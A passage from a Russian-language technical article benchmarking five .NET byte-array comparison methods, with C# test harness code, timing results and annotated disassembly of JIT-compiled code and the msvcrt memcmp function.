Так что, как этот метод дейсвтительно будет работать, зависит от того как он будет скомпилирован. В моём случае — точно не 64 бита.
```
// Copyright (c) 2008-2013 Hafthor Stefansson
// Distributed under the MIT/X11 software license
// Ref: http://www.opensource.org/licenses/mit-license.php.
private static unsafe bool UnsafeCompare(byte[] a1, byte[] a2)
{
if (a1 == null || a2 == null || a1.Length != a2.Length)
return false;
fixed (byte* p1 = a1, p2 = a2)
{
byte* x1 = p1, x2 = p2;
int l = a1.Length;
for (int i = 0; i < l / 8; i++, x1 += 8, x2 += 8)
if (*((long*) x1) != *((long*) x2))
return false;
if ((l & 4) != 0)
{
if (*((int*) x1) != *((int*) x2)) return false;
x1 += 4;
x2 += 4;
}
if ((l & 2) != 0)
{
if (*((short*) x1) != *((short*) x2)) return false;
x1 += 2;
x2 += 2;
}
if ((l & 1) != 0)
if (*((byte*) x1) != *((byte*) x2))
return false;
return true;
}
}
```
### Методика тестирования
#### Тестовый набор
Чтобы максимально приблизить условия тестирования к боевым и исключить «застревание» тестовых данных в кэше процессора (максимально работать именно с памятью), было решено сгенерировать множество тестовых массивов и сравнивать их друг с другом, т.е. каждый массив с каждым.
В качестве тестового набора был выбран «зубчатый» массив (в оригинальной документации — «Jagged Array»). Было несколько альтернатив, например, `List` и `LinkedList`, но альтернативы не устроили временем доступа к элементу, хотя и массив в .NET здесь не блещет: CLR в любом случае проверяет индекс на выход за границы массива, даже если это массив с нулевой базой.
Тестовые данные генерировались таким образом, чтобы отличались все массивы, а отличающийся элемент массива находился ровно посередине.
**Генерация тестовых данных**
```
private static void PrepareTestData(int p_ArraySize)
{
for (int i = 0; i < CountArrays; i++)
{
var byteArray = new byte[p_ArraySize];
byteArray[p_ArraySize / 2] = (byte) (i & 0x000000ff);
s_arrays[i] = byteArray;
}
}
```
#### Выполнение сравнений
Так как все массивы предполагалось сравнивать со всеми, то общий вид метода, время исполнения которого измерялось, представляет собой два вложенных цикла по всем массивам набора, а внутри них вызывается испытуемый метод. Суть происходящего можно выразить кодом:
```
for (int i = 0; i < CountArrays; i++)
for (int j = 0; j < CountArrays; j++)
Compare( s_arrays[i], s_arrays[j] );
```
Однако тут есть одно «но»: если никак не использовать результат «вычислений», то CLR имеет полное право само «вычисление» не производить. Я с этим сталкивался раньше, когда экспериментировал с C++. При включенной оптимизации «-O3» было весьма проблематично что-либо измерить, т.к. время раз за разом получалось нулевым. Поэтому такой сценарий было решено исключить с самого начала, так что результат работы функции сравнения «аккумулировался» и возвращался, а на самом верхнем уровне анализировался.
**Сравнение без игнорирования результата**
```
var result = true;
for (int i = 0; i < CountArrays; i++)
for (int j = 0; j < CountArrays; j++)
{
var tmp = Compare( s_arrays[i], s_arrays[j] );
result = result && tmp;
}
return result;
```
**Анализ результата сравнения**
```
var stubLocalVar = p_СomparisonMethod();
if (stubLocalVar)
throw new InvalidOperationException();
```
Поскольку методов сравнений 5, а вышеописанный шаблон общий, то кажется логичным определить общий, «шаблонный» метод, и передать метод сравнения в него. Таким образом:
**Неправильный метод вызова функций**
```
private static bool CompareArraysWithExternalMethod(Func p\_Method)
{
var result = true;
for (int i = 0; i < CountArrays; i++)
for (int j = 0; j < CountArrays; j++)
{
var tmp = p\_Method( s\_arrays[i], s\_arrays[j] );
result = result && tmp;
}
return result;
}
```
Такой способ, безусловно, исключает копирование/вставку и уменьшает вероятность ошибки, но в то же время создаёт излишнюю косвенность вызова и исключает встраивание метода (inlining), что, в свою очередь, приводит к потере точности измерений, особенно учитывая, что вызовов много. Именно поэтому мне пришлось создать пять практически одинаковых методов:
```
private static bool CompareArraysWithUnsafeMethod();
private static bool CompareArraysWithSimplestMethod();
private static bool CompareArraysWithSequenceEqualMethod();
private static bool CompareArraysWithPInvokeMethod();
private static bool CompareArraysWithIStructuralEquatableMethod();
```
Однако уровнем выше я уже мог применить шаблонный метод.
Из приведённого ниже кода видно, что функция MeasureComparisonTime(), в которой измеряется время выполнения метода сравнения, принимает в качестве параметра делегат типа Func. Именно его время выполнения и измеряется.
**Функции, производящие измерение метода**
```
private static long GetMinimalMesuredValue(int p_MeasurementNumber, long p_PreviousValue,
long p_MeasuredValue)
{
var result = p_MeasurementNumber == 0
? p_MeasuredValue
: Math.Min(p_PreviousValue, p_MeasuredValue);
return result;
}
private static long MeasureComparisonTime(Func p\_Method, long p\_PreviousTime,
int p\_MeasurementNumber)
{
GC.Collect();
GC.Collect();
s\_stopwatch.Start();
var stubLocalVar = p\_Method();
s\_stopwatch.Stop();
if (stubLocalVar)
throw new InvalidOperationException();
var result = GetMinimalMesuredValue(p\_MeasurementNumber, p\_PreviousTime, s\_stopwatch.ElapsedTicks);
s\_stopwatch.Reset();
return result;
}
```
#### Методика измерений
Измерение времени производилось с помощью штатного секундомера ( [класс System.Diagnostics.Stopwatch](http://msdn.microsoft.com/ru-ru/library/system.diagnostics.stopwatch(v=vs.110).aspx)), в основе которого лежит [QueryPerformanceCounter()](http://msdn.microsoft.com/en-us/library/windows/desktop/ms644904(v=vs.85).aspx). Естественно, интересовали не миллисекунды, а тики: в случае крохотных массивов все измерения в миллисекундах были бы нулевыми. Также была идея задействовать свой «велосипед» на основе RDTSC[6], но, во-первых, несколько первых прогонов показали, что для текущей методики точности вполне хватает, а во-вторых, предупреждение о необходимости использования [ProcessThread.ProcessorAffinity](http://msdn.microsoft.com/en-us/library/system.diagnostics.processthread.processoraffinity(v=vs.110).aspx), которое появилось в последних версиях документации, позволяет предположить, что в основе работы этого класса лежит вышеупомянутый счётчик тактов процессора. Все измерения повторялись 10 раз, и бралось лучшее время. Число 10 было подобрано экспериментально, как дающее достаточно точные результаты при минимальных затратах времени.
**Функция, производящая все измерения**
```
private static MeasurementsResults DoMeasurements()
{
MeasurementsResults result;
result.SimplestTime = 0;
result.SequenceEqualTime = 0;
result.PInvokeTime = 0;
result.IStructuralEquatableTime = 0;
result.UnsafeTime = 0;
for (int measurementNumber = 0; measurementNumber < MeasurementsCount; measurementNumber++)
{
Console.WriteLine("Стартует измерение номер {0}", measurementNumber);
result.SimplestTime = MeasureComparisonTime(CompareArraysWithSimplestMethod,
result.SimplestTime,
measurementNumber);
result.SequenceEqualTime = MeasureComparisonTime(CompareArraysWithSequenceEqualMethod,
result.SequenceEqualTime,
measurementNumber);
result.PInvokeTime = MeasureComparisonTime(CompareArraysWithPInvokeMethod,
result.PInvokeTime,
measurementNumber);
result.IStructuralEquatableTime = MeasureComparisonTime(CompareArraysWithIStructuralEquatableMethod,
result.IStructuralEquatableTime,
measurementNumber);
result.UnsafeTime = MeasureComparisonTime(CompareArraysWithUnsafeMethod,
result.UnsafeTime,
measurementNumber);
}
return result;
}
```
### Результаты измерений и первые выводы
Перед началом эксперимента я примерно догадывался, какой метод окажется победителем, а какой аутсайдером, однако результаты меня всё-таки удивили. Мои прогнозы оказались не совсем верны.
| Лучшее время (тики) | Размер массива (байты) | unsafe | В лоб | PInvoke | SequenceEqual | IStructuralEquatable |
| --- | --- | --- | --- | --- | --- | --- |
| 276 | 1 | 1,7 | 1 | 6 | 10,5 | 55 |
| 276 | 1 | 1,7 | 1 | 6,3 | 10,1 | 55,7 |
| 325 | 2 | 1,3 | 1 | 5,3 | 11 | 95,2 |
| 374 | 4 | 1,1 | 1 | 4,8 | 11,4 | 121,3 |
| 413 | 8 | 1 | 1,3 | 5 | 14,1 | 181,2 |
| 412 | 13 | 1 | 1,7 | 4,7 | 17,5 | 252,5 |
| 490 | 23 | 1 | 2,3 | 3,7 | 22,1 | 364,8 |
| 554 | 39 | 1 | 3,4 | 3,5 | 30,1 | 535,9 |
| 691 | 67 | 1 | 4,3 | 2,9 | 39,1 | 727,5 |
| 887 | 114 | 1 | 5,6 | 2,4 | 50,3 | 964,1 |
| 1212 | 194 | 1 | 4,6 | 2,1 | 61,5 | 1190,9 |
| 1875 | 328 | 1 | 4,8 | 1,8 | 65,8 | 1295,8 |
| 2897 | 556 | 1 | 5 | 1,6 | 71,5 | 1416,9 |
| 4565 | 942 | 1 | 5,3 | 1,4 | 76,3 | 1521,1 |
| 7711 | 1595 | 1 | 5,2 | 1,3 | 76,2 | 1521,2 |
| 12482 | 2702 | 1 | 5,4 | 1,3 | 79,4 | 1593,6 |
| 20692 | 4576 | 1 | 5,5 | 1,2 | 81,2 | 1626,2 |
| 34369 | 7750 | 1 | 5,6 | 1,2 | 82,8 | 1657,1 |
| 58048 | 13124 | 1 | 5,6 | 1,2 | 82,9 | 1661,9 |
| 97511 | 22226 | 1 | 5,6 | 1,2 | 83,6 | 1677,3 |
| 173805 | 37640 | 1 | 5,4 | 1,1 | 79,5 | 1585,7 |
| 295989 | 63743 | 1 | 5,3 | 1,1 | 79,3 | 1574,9 |
| 588797 | 107949 | 1 | 4,6 | 1,1 | 67,5 | 1340,9 |
| 1010768 | 182811 | 1 | 4,6 | 1,1 | 67 | 1340,4 |
| 1705668 | 309590 | 1 | 4,6 | 1,1 | 67,3 | 1334,1 |
| 2885452 | 524287 | 1 | 4,6 | 1,1 | 67,3 | 1329,1 |
Результаты удивили следующим:
Первое: CRT функция просто обязана быть хорошо оптимизирована, и я рассчитывал, что на определённом этапе (размере тестового массива) её скорость перекроет накладные расходы (overhead) платформенного вызова, но этого не произошло. Позже я повторил тестирования с массивами значительно большего размера, но даже на 1.5 мегабайтах unsafe-код оказывался быстрее.
Второе: я догадывался, что IStructuralEquatable окажется медленным, но цифры меня просто поразили: такого я точно не ожидал.
### Диазассемблирование и анализ отдельных функций
Столь серьёзная разница между unsafe и Simplest на больших массивах (я ожидал не более двух-трёхкратного «перевеса») позволяет предположить, что с оптимизацией циклов и обращений к элементам массива в .Net не всё так гладко, как утверждают приверженцы .Net. Соответственно, я не отказал себе в удовольствии посмотреть на результаты работы JIT'ера, т.е. на непосредственно генерируемый машинный код.
#### Анализ функции CompareArraysWithSimplestMethod()
Для этого в начало метода был вставлен Thread.Sleep(60 \* 1000); после запуска релизной сборки я подцепился к процессу OllyDebug'ом. Такой хитрый ход нужен был для того, чтобы ни в коем случае не порушить оптимизации CLR — увидеть картину такой, какая есть.
Спустившись вниз по стеку вызовов от ntdll.NtDelayExecution() и SleepEx(), я нашёл свою функцию и, после её внимательного изучения, был в очередной раз неприятно удивлён. Что мне здесь очень не понравилось:
1. Вместо единственной проверки RngChkFail (для всего цикла сразу), CLR делает эту проверку для каждого индекса!!!
2. Цикл остался в том виде, в котором я его написал: компилятор не стал его «разворачивать».
3. Поэтому сравнение так и осталось побайтным, хотя CLR вполне по силам было его оптимизировать, например, сделав сравнение по 4 байта (размер регистра).
4. Вместо единственного return'а c единственным эпилогом и очисткой стека, CLR скопировал их три раза, благодаря чему код «опух». Фактически машинный код повторяет код на C# почти один в один. В связи с этим возникает вопрос: а он вообще оптимизировал код?! Он умеет это делать?
5. Вероятно, благодаря предыдущему пункту (опухший код), функция не была заинлайнена.
#### Анализ функции UnsafeCompare()
Результат декомпиляции этой функции разжёг моё любопытство и навёл на мысль об остальных функциях. Я решил сравнить CRT-функцию и unsafe-вариант. Сперва я решил посмотреть на unsafe-вариант. Для этого я проделал те же операции, что и для первой функции, за исключением того, что Thread.Sleep() вставил не в саму функцию, а перед её вызовом. Это вряд ли могло как-либо повлиять на суть происходящего, но несколько упростило декомпиляцию: unsafe-функция явно сложнее первой.
**Место вставки Thread.Sleep()**
```
private static bool CompareArraysWithUnsafeMethod()
{
var result = true;
for (int i = 0; i < CountArrays; i++)
for (int j = 0; j < CountArrays; j++)
{
Thread.Sleep( 60 * 1000 );
var tmp = UnsafeCompare(s_arrays[i], s_arrays[j]);
```
Интерес также представляет первая половина этой функции, т.е. до момента вызова UnsafeCompare(). Она, так же, как и первая, демонстрирует, что любое обращение к элементу массива вызывает проверку индекса на вхождение в границы массива. Я подчеркнул это в листинге.
**CPU Disasm CompareArraysWithUnsafeMethod**
```
;Address Hex dump Command Comments
001B0B88 55 push ebp ; Стандартный пролог
001B0B89 8BEC mov ebp, esp
001B0B8B 57 push edi
001B0B8C 56 push esi
001B0B8D 53 push ebx
001B0B8E BF 01000000 mov edi, 1 ; result = true;
001B0B93 33DB xor ebx, ebx ; for (int i = 0;
001B0B95 33F6 xor esi, esi ; for (int j = 0;
001B0B97 B9 60EA0000 mov ecx, 0EA60 ; Thread.Sleep( 60 * 1000 );
001B0B9C E8 0CFBC161 call clr.ThreadNative::Sleep
001B0BA1 8B15 A8337A03 mov edx, [s_arrays] ; EDX <-- s_arrays
001B0BA7 3B5A 04 cmp ebx, [edx+4] ; Compare(s_arrays.Length, первый индекс) (1) !!!
001B0BAA 73 31 jae short stub_CLR.JIT_RngChkFail
001B0BAC 8B4C9A 0C mov ecx, [ebx*4+edx+0C] ; ECX <-- s_arrays[i]
001B0BB0 3B72 04 cmp esi, [edx+4] ; Compare(s_arrays.Length, второй индекс) (2) !!!
001B0BB3 73 28 jae short stub_CLR.JIT_RngChkFail
001B0BB5 8B54B2 0C mov edx, [esi*4+edx+0C] ; EDX <-- s_arrays[j]
001B0BB9 FF15 F0381400 call near UnsafeCompare
```
Результат декомпиляции функции оказался довольно большим и на один экран не помещался, поэтому я не стал приводить скриншот окна дебагера. Так как большой цельный листинг читать утомительно и непродуктивно, то здесь я привожу его логически объединёнными кусками, сопровождая каждый кусок кратким комментарием.
**UnsafeCompare().ParametersChecking**
```
;a1 ========> ECX
;a2 ========> EDX
;Address Hex dump Command Comments
001B0BF8 55 push ebp ; Стандартный пролог
001B0BF9 8BEC mov ebp, esp
001B0BFB 57 push edi ; сохранение регистров в стеке нужно, вероятно, затем, чтобы
001B0BFC 56 push esi ; использовать их в дальнейшем
001B0BFD 53 push ebx ;
001B0BFE 83EC 0C sub esp, 0C ; вершина стека выше сохранённых регистров на 3*sizeof(DWORD), т.е. будет 3 переменных
001B0C01 33C0 xor eax, eax ; (!)
001B0C03 8945 F0 mov [ebp-10], eax ; var1 <-- 0 (!)
001B0C06 8945 EC mov [ebp-14], eax ; var2 <-- 0 (!)
001B0C09 85C9 test ecx, ecx ; Compare(a1, null)
001B0C0B 74 0C je short return1
001B0C0D 85D2 test edx, edx ; Compare(a2, null)
001B0C0F 74 08 je short return1
001B0C11 8B41 04 mov eax, [ecx+4] ; eax <-- a1.Length
001B0C14 3B42 04 cmp eax, [edx+4] ; Compare(eax, a2.Length)
001B0C17 74 0A je short argsIsValid
return1:
001B0C19 33C0 xor eax, eax ; result <-- 0
001B0C1B 8D65 F4 lea esp, [ebp-0C]
001B0C1E 5B pop ebx
001B0C1F 5E pop esi
001B0C20 5F pop edi
001B0C21 5D pop ebp
001B0C22 C3 ret
argsIsValid:
; Часть кода опущена
```
В соответствии с соглашением вызова fastcall, которому следует .NET Framework [7][8], в регистрах ecx и edx находятся первый и второй параметры, в соответствии с порядком слева направо. В приведённом листинге хорошо видна последовательная проверка входных параметров, он почти однозначно соответствует коду на C#
```
if (a1 == null || a2 == null || a1.Length != a2.Length)
return false;
```
Однако, особого внимания заслуживают выделенные строки: назначение их неясно, и они запутывают. Чтобы понять, что это такое и зачем оно может быть нужно, мне пришлось поставить ещё один эксперимент, в ходе которого я написал простейшую unsafe-функцию на C#, которая использует предложение fixed и обращение по указателю, и провёл с ней аналогичные действия.
```
private static unsafe int func1(byte[] param1)
{
fixed (byte* p = param1)
{
return *p;
}
}
```
**Дизасм простейшей Unsafe функции**
```
;param1 ========> ECX
Address Hex dump Command Comments
$ ==> 55 push ebp ; Стандартный пролог
$+1 8BEC mov ebp, esp
$+3 50 push eax ; (!)
$+4 33C0 xor eax, eax ; (!)
$+6 8945 FC mov [ebp-4], eax ; var1 <-- 0 (!)
$+9 85C9 test ecx, ecx ; Compare(param1, null)
$+B 74 06 je short param_is_null
$+D 8379 04 00 cmp dword ptr [ecx+4], 0 ; Compare(param1.Length, 0)
$+11 75 07 jne short not_zero_len
param_is_null:
$+13 33D2 xor edx, edx
$+15 8955 FC mov [ebp-4], edx ; var1 <-- 0
$+18 EB 0C jmp short ret_1
not_zero_len:
$+1A 8379 04 00 cmp dword ptr [ecx+4], 0
$+1E 76 10 jbe short call.JIT_RngChkFail
$+20 8D49 08 lea ecx, [ecx+8] ; ecx <-- param1.BufferPointer
$+23 894D FC mov [ebp-4], ecx ; var1 <-- ecx
ret_1:
$+26 8B45 FC mov eax, [ebp-4] ; eax <-- var1
$+29 0FB600 movzx eax, byte ptr [eax] ; eax <-- *eax
$+2C 8BE5 mov esp, ebp ; Стандартный эпилог
$+2E 5D pop ebp
$+2F C3 ret
call.JIT_RngChkFail:
$+30 E8 B3BDC861 call clr.JIT_RngChkFail
$+35 CC int3
```
Из приведённого листинга становится понятным, что в результате JIT-компиляции переменная в предложении fixed обязательно помещается в стек, вне зависимости от доступности регистров общего назначения. Это хорошо видно из того факта, что регистр eax был сохранён в стеке, в дальнейшем не использовался и, следовательно, был свободным и доступным для операций (до смещения 0x26 от начала функции), но под хранение временных данных была использована стековая переменная по смещению [ebp-4] (назовём её var1). Переменная сразу же обязательно инициализируется нулём, несмотря на то, что потом это значение не используется, а просто затирается. Например, по смещению 0x15 в var1 снова заносится ноль, несмотря на то, что там к этому моменту уже хранится ноль.
Таким образом, становится понятным, что никакого особого смысла выделенные строки в листинге UnsafeCompare.CPU Disasm.ParametersChecking не несут, это всего лишь побочный эффект компиляции. Также из вышеприведённого листинга становится очевидным, что проверка массива в выражении fixed производится в три этапа: сначала массив проверяется на равенство null, потом его длина проверяется на равенство нулю (команда jne анализирует только ZF), и только затем на равенство нулю и отрицательность значения (jbe проверяет и ZF и CF). С моей точки зрения весьма странно, что последние два действия не были объединены в одно, и тем более странно, что команда cmp выполняется дважды, ведь условный переход не сбрасывает флаги. Кроме всего прочего, я искренне благодарен тем из вас, кто прочитал эту строку, потому что это означает, что я не зря старался, и мои раскопки в ассемблерных листингах были не напрасны.
Проведённый эксперимент значительно упрощает дальнейший анализ кода.
**Предложение fixed из функции CompareArraysWithUnsafeMethod()**
```
argsIsValid:
001B0C23 8379 04 00 cmp dword ptr [ecx+4], 0 ; Compare(a1.Length, 0) это первая проверка длины первого массива
001B0C27 75 07 jne short a1Len_NonZero ; только неравенство
001B0C29 33C0 xor eax, eax
001B0C2B 8945 F0 mov [ebp-10], eax ; var1 <-- 0
001B0C2E EB 10 jmp short a1Len_Zero
a1Len_NonZero:
001B0C30 8379 04 00 cmp dword ptr [ecx+4], 0 ; Compare(a1.Length, 0) вторая (последняя) проверка длины первого массива
001B0C34 0F86 B5000000 jbe call.JIT_RngChkFail ; если равно или меньше
001B0C3A 8D41 08 lea eax, [ecx+8] ; eax <-- a1.BufferPointer
001B0C3D 8945 F0 mov [ebp-10], eax ; var1 <-- eax
a1Len_Zero:
001B0C40 837A 04 00 cmp dword ptr [edx+4], 0 ; Compare(a2.Length, 0) это первая проверка длины второго массива
001B0C44 75 07 jne short a2Len_NonZero ; только неравенство
001B0C46 33D2 xor edx, edx
001B0C48 8955 EC mov [ebp-14], edx ; var2 <-- 0
001B0C4B EB 10 jmp short part3
a2Len_NonZero:
001B0C4D 837A 04 00 cmp dword ptr [edx+4], 0 ; Compare(a2.Length, 0) вторая (последняя) проверка длины второго массива
001B0C51 0F86 98000000 jbe call.JIT_RngChkFail ; если равно или меньше
001B0C57 8D52 08 lea edx, [edx+8] ; edx <-- a2.BufferPointer
001B0C5A 8955 EC mov [ebp-14], edx ; var2 <-- edx
```
Никаких сюрпризов компилятор здесь не преподнёс, т.е. алгоритм компиляции даёт легко предсказуемые результаты. Например, переменные, инициализируемые в предложении fixed, в любом случае размещаются в стеке.
Инициализация переменных внутри блока fixed:
```
part3:
; ECX <======= a1
; EDX <======= a2.BufferPointer
; var1 <======= a1.BufferPointer
; var2 <======= a2.BufferPointer
001B0C5D 8B45 F0 mov eax, [ebp-10] ; eax <-- var1
001B0C60 8BF0 mov esi, eax ; esi <-- eax
001B0C62 8B45 EC mov eax, [ebp-14] ; eax <-- var2
001B0C65 8BF8 mov edi, eax ; edi <-- eax
001B0C67 8B41 04 mov eax, [ecx+4] ; eax <-- a1.Length
001B0C6A 8945 E8 mov [ebp-18], eax ; var3 <-- eax
```
Инициализация переменных внутри блока fixed любопытна тем, что хорошо демонстрирует принцип, по которому JIT-компилятор генерирует код. Здесь хорошо видно, что вместо прямой пересылки значений из стековых переменных в индексные регистры, значения сначала помещаются в регистр-аккумулятор. Может быть, в этом и есть какой-нибудь тайный магический смысл, но выглядит это (пересылка в eax) просто как лишнее действие.
**Цикл по 8 байт**
```
001B0C6D 33C9 xor ecx, ecx ; счётчик цикла <-- 0
001B0C6F 8BD8 mov ebx, eax ; ebx <-- a1.Length
001B0C71 85DB test ebx, ebx
001B0C73 79 03 jns short ebx_greaterZero
001B0C75 83C3 07 add ebx, 7 ; если отрицательно, прибавляем 7
ebx_greaterZero:
001B0C78 C1FB 03 sar ebx, 3 ; ebx <-- a1.Length / 8
001B0C7B 85DB test ebx, ebx
001B0C7D 7E 1D jle short fourBytesComparing
for8_body:
001B0C7F 8B06 mov eax, [esi]
001B0C81 8B56 04 mov edx, [esi+4]
001B0C84 3B57 04 cmp edx, [edi+4]
001B0C87 75 04 jne short setResult_jumpReturn
001B0C89 3B07 cmp eax, [edi]
001B0C8B 74 04 je short for8_increment
setResult_jumpReturn:
001B0C8D 33C0 xor eax, eax ; result <-- 0
001B0C8F EB 56 jmp short return2 ; goto return
for8_increment:
001B0C91 41 inc ecx
001B0C92 83C6 08 add esi, 8
001B0C95 83C7 08 add edi, 8
for8_expression:
001B0C98 3BD9 cmp ebx, ecx
001B0C9A ^ 7F E3 jg short for8_body
```
Структура цикла достаточно тривиальна, например, счётчик цикла традиционно располагается в ecx, граничное значение счётчика располагается в ebx, что тоже традиционно. Примечательно здесь лишь то, что первая проверка условия цикла располагается сразу за инициализацией и выглядит не так, как основное условие цикла. Также очевидно, что чудес не бывает, и префикс REX недоступен ни в Protected Mode, ни в Compatible Mode, т.е. сравнение QWORD-блоками невозможно, поэтому сравниваются блоки размером DWORD. Однако из кода видно, что перед выполнением сравнений в регистры eax, edx загружаются соответствующие части первого массива, т.е. JIT-компилятор попытался произвести машинный код, максимально соответствующий исходному коду.
Бросается в глаза то, что компилятор здесь не стал применять строковую инструкцию CMPSD, а именно, её «короткую» форму, которая выполняет сравнение DWORD-блоков, размещённых по адресам esi и edi, выставляя соответствующие флаги. В этом случае размер машинного кода был бы меньше в несколько раз: команда mov здесь имеет размер 2 и 3 байта, команда cmp – 2 и 3 байта, а размер каждой команды CMPSD (в короткой форме) был бы всего 1 байт, т.е. для двух команд всего 2 байта. Это наводит на мысли о нежелании JIT-компилятора оптимизировать код.
Из приведённых листингов очевидно, что пара команд, первая из которых – пересылка в eax, является паттерном, которому компилятор следует неукоснительно.
Попытка сравнить блоки размером DWORD, выполняется, если такой объём остался:
```
fourBytesComparing:
001B0C9C F745 E8 0400000 test dword ptr [ebp-18], 00000004 ; ZF <-- (var3 & 4) == 0
001B0CA3 74 10 je short length_lowerThenFour
001B0CA5 8B06 mov eax, [esi]
001B0CA7 3B07 cmp eax, [edi]
001B0CA9 74 04 je short dwords_equals ; если блоки равны, переход к инкрименту регистров
001B0CAB 33C0 xor eax, eax
001B0CAD EB 38 jmp short return2
dwords_equals:
001B0CAF 83C6 04 add esi, 4
001B0CB2 83C7 04 add edi, 4
```
Попытка сравнить блоки размером WORD, выполняется, если такой объём остался:
```
length_lowerThenFour:
001B0CB5 F745 E8 0200000 test dword ptr [ebp-18], 00000002 ; ZF <-- (var3 & 2) == 0
001B0CBC 74 10 je short length_lowerThenTwo
001B0CBE 0FBF06 movsx eax, word ptr [esi]
001B0CC1 66:3B07 cmp ax, [edi]
001B0CC4 74 04 je short words_equals ; если блоки равны, переход к инкрименту регистров
001B0CC6 33C0 xor eax, eax
001B0CC8 EB 1D jmp short return2
words_equals:
001B0CCA 46 inc esi
001B0CCB 46 inc esi
001B0CCC 47 inc edi
001B0CCD 47 inc edi
```
Попытка сравнить блоки размером BYTE, выполняется, если такой объём остался:
```
length_lowerThenTwo:
001B0CCE F745 E8 0100000 test dword ptr [ebp-18], 00000001 ; ZF <-- (var3 & 1) == 0
001B0CD5 74 0B je short 001B0CE2
001B0CD7 0FB606 movzx eax, byte ptr [esi]
001B0CDA 3A07 cmp al, [edi]
001B0CDC 74 04 je short 001B0CE2 ; если блоки равны, переход к инкрименту регистров
001B0CDE 33C0 xor eax, eax
001B0CE0 EB 05 jmp short return2
001B0CE2 B8 01000000 mov eax, 1
```
Возврат результата и выброс исключения:
```
return2:
001B0CE7 8D65 F4 lea esp, [ebp-0C]
001B0CEA 5B pop ebx
001B0CEB 5E pop esi
001B0CEC 5F pop edi
001B0CED 5D pop ebp
001B0CEE C3 ret
JIT_RngChkFail:
001B0CEF E8 C4B1DB61 call clr.JIT_RngChkFail
001B0CF4 CC int3
```
#### Анализ CRT функции memcmp()
Эта функция представляет интерес ещё и потому, что не просто сравнивает два буфера, а выясняет отношение между ними, а значит, она сложнее, чем те, что рассматривались ранее.
После подцепления дебагером я выяснил, что в память процесса по базовому адресу 0x76C20000 была загружена C:\Windows\SysWOW64\msvcrt.dll версии 7.0.7601.17744.
Это важное уточнение, поскольку код разных версий библиотек может сильно отличаться, т.к. они могут быть скомпилированы с разными опциями компилятора, и даже более того, разными компиляторами.
Первый же взгляд на препарируемую функцию меня несколько смутил: во-первых, перед стандартным прологом, в самом начале функции, располагалась странная инструкция, а во-вторых, размеры этой функции поражают воображение. Бросилось в глаза наличие «длинных» джампов, к тому же switch с 32 case’ами устрашает.
Странная инструкция:
```
76C37975 . 8BFF mov edi, edi ; <--(!) Здесь начало функции INT msvcrt.memcmp(buf1,buf2,count)
76C37977 . 55 push ebp
76C37978 . 8BEC mov ebp, esp
```
Она копирует регистр сам в себя, не обновляя при этом никаких флагов, т.е. результат её выполнения нулевой, прямо как nop, но размером в 2 байта. Промотав код в окне отладчика, я обнаружил, что точно так же начинаются множество других функций. Благодаря блогу Рэймонда Чена объяснение нашлось быстро. Это действительно аналог nop.
> It's a hot-patch point.
>
> The MOV EDI, EDI instruction is a two-byte NOP, which is just enough space to patch in a jump instruction so that the function can be updated on the fly. The intention is that the MOV EDI, EDI instruction will be replaced with a two-byte JMP $-5 instruction to redirect control to five bytes of patch space that comes immediately before the start of the function. Five bytes is enough for a full jump instruction, which can send control to the replacement function installed somewhere else in the address space.
>
> [blogs.msdn.com/b/oldnewthing/archive/2011/09/21/10214405.aspx](http://blogs.msdn.com/b/oldnewthing/archive/2011/09/21/10214405.aspx)
>
>
**Длинные джампы и очень большой switch**
```
Address Hex dump Command Comments
75A9797C . 8B7D 10 mov edi, [ebp+10] ; edi <-- length
75A9797F . 8BC7 mov eax, edi
75A97981 . 83E8 00 sub eax, 0 ;
75A97984 . 0F84 E7070100 je msvcrt.zeroResult_GoReturn ; (length == 0)=> {result <-- 0, goto return;} (!) Обратите внимание на размер инструкции
; часть кода опущена
; часть кода опущена
75A979BC . 83FF 1F cmp edi, 1F ; Switch (cases 1..1F, 32. exits)
75A979BF . 77 5B ja short msvcrt.75A97A1C
75A979C1 . FF24BD 1F8AA975 jmp near [edi*4+msvcrt.75A98A1F] ; (!) Джамп на адрес из таблицы переходов (!) Обратите внимание на размер инструкции
; часть кода опущена
; часть кода опущена
75A98A1F . 1C7AA975 dd msvcrt.75A97A1C ; (00) Начало таблицы переходов, здесь jump на выход из функции
75A98A23 . E88AA975 dd msvcrt.75A98AE8 ; (01)
75A98A27 . CA8AA975 dd msvcrt.75A98ACA ; (02)
75A98A2B . 8C8BA975 dd msvcrt.75A98B8C ; (03)
75A98A2F . 0A7AA975 dd msvcrt.75A97A0A ; (04)
75A98A33 . 088FA975 dd msvcrt.75A98F08 ; (05)
75A98A37 . B88AA975 dd msvcrt.75A98AB8 ; (06)
75A98A3B . 758BA975 dd msvcrt.75A98B75 ; (07)
75A98A3F . F479A975 dd msvcrt.75A979F4 ; (08)
75A98A43 . 238FA975 dd msvcrt.75A98F23 ; (09)
75A98A47 . 9F8AA975 dd msvcrt.75A98A9F ; (0A)
75A98A4B . A18BA975 dd msvcrt.75A98BA1 ; (0B)
75A98A4F . DE79A975 dd msvcrt.75A979DE ; (0C)
75A98A53 . 3A8FA975 dd msvcrt.75A98F3A ; (0D)
75A98A57 . FD8AA975 dd msvcrt.75A98AFD ; (0E)
75A98A5B . ED8EA975 dd msvcrt.75A98EED ; (0F)
75A98A5F . C879A975 dd msvcrt.75A979C8 ; (10)
75A98A63 . 518FA975 dd msvcrt.75A98F51 ; (11)
75A98A67 . BA8EA975 dd msvcrt.75A98EBA ; (12)
75A98A6B . 6A98A975 dd msvcrt.75A9986A ; (13)
75A98A6F . 8990A975 dd msvcrt.75A99089 ; (14)
75A98A73 . CD98A975 dd msvcrt.75A998CD ; (15)
75A98A77 . D58EA975 dd msvcrt.75A98ED5 ; (16)
75A98A7B . 8598A975 dd msvcrt.75A99885 ; (17)
75A98A7F . 1899A975 dd msvcrt.75A99918 ; (18)
75A98A83 . E898A975 dd msvcrt.75A998E8 ; (19)
75A98A87 . 698FA975 dd msvcrt.75A98F69 ; (1A)
75A98A8B . 9D98A975 dd msvcrt.75A9989D ; (1B)
75A98A8F . 3399A975 dd msvcrt.75A99933 ; (1C)
75A98A93 . 0099A975 dd msvcrt.75A99900 ; (1D)
75A98A97 . 848FA975 dd msvcrt.75A98F84 ; (1E)
75A98A9B . B598A975 dd msvcrt.75A998B5 ; (1F) Окончание таблицы переходов
```
В связи с большой трудоёмкостью анализа всей функции было решено не дизассемблировать её полностью, к тому же интерес представляли лишь две вещи:
* Оценка накладных расходов (overhead) на «платформенный» вызов (PInvoke)
* Внешняя оценка основного кода функции.
##### Оценка накладных расходов на взаимодействие с платформой
